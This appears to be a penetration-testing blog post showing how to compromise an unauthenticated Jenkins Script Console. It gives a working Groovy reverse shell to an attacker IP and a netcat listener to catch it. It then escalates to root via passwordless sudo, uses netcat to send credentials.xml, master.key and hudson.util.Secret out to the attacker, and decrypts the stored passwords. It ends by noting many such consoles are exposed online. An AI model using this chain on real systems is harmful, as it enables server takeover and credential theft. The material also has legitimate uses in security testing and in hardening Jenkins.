Jenkins is an open-source continuous integration software tool written in the Java programming language. While useful to developers, it can also be useful to attackers. Often times developers will leave Jenkins consoles in an insecure state, especially within development environments. Jenkins has a scripting console available which can be used to run arbitrary Groovy code.
Below is an example of a console. Typically found under Manage Jenkins -> Script Console or just by going to /script from the root of the Jenkins install path.
As you can see, there is also a credentials tab. It is common for developers to store credentials within Jenkins. While these passwords are not accessable to view from within the web console, they can be extracted from the system itself.
To create a reverse shell on the system, we need to use Groovy script. Since it is basically Java, we can use a Java reverse shell from pentestmonkey.
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[attacker IP]/[port];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String) p.waitFor()
On our attacker system, we can use netcat to catch the shell:
root@attacker:~# nc -lvp 9000 listening on [any] 9000 ...
Once we catch the shell, we can enumerate the account, and upgrade our raw netcat shell to a pseudo terminal.
id uid=1000(jenkins) /bin/bash -i jenkins@victim:/$ python -c 'import pty;pty.spawn("/bin/bash")' python -c 'import pty;pty.spawn("/bin/bash")'
Often times Jenkins is given sudo permissions with no password, so we can easily escalate to a root shell if we need to.
jenkins@victim:/$ sudo -i sudo -i
Once we have that, we need to locate the Jenkins install. In this case, it was found under /opt/jenkins. View the contents of the directory and you will see a credentials.xml file and a /secrets/ directory.
root@victim:/opt/jenkins # ls ... credentials.xml ...
The encrypted passwords are stored in credentials.xml. We will need this file as well as some of the keys to be able to decrypt it. One of the ways we can ex-filtrate these files is via netcat. Out our victim we will do the following, one at a time:
root@victim:/opt/jenkins # nc -w3 [attacker IP] 5000 < credentials.xml root@victim:/opt/jenkins/secrets # nc -w3 [attacker IP] 5000 < master.key root@victim:/opt/jenkins/secrets # nc -w3 [attacker IP] 5000 < hudson.util.Secret
And on the attacking machine, we catch each file individually.
root@attacker:~# nc -l -p 5000 > credentials.xml root@attacker:~# nc -l -p 5000 > master.key root@attacker:~# nc -l -p 5000 > hudson.util.Secret
One we have the files we need we can use a python script to decrypt the passwords within credentials.xml.
root@attacker:~/jenkins-decrypt# python decrypt.py master.key hudson.util.Secret credentials.xml
We now have root access on the server and credentials to be able to move laterally.
Using Shodan I was able to find hundreds of administrative consoles open to the internet without authentication, which goes to show that this misconfiguration is widespread.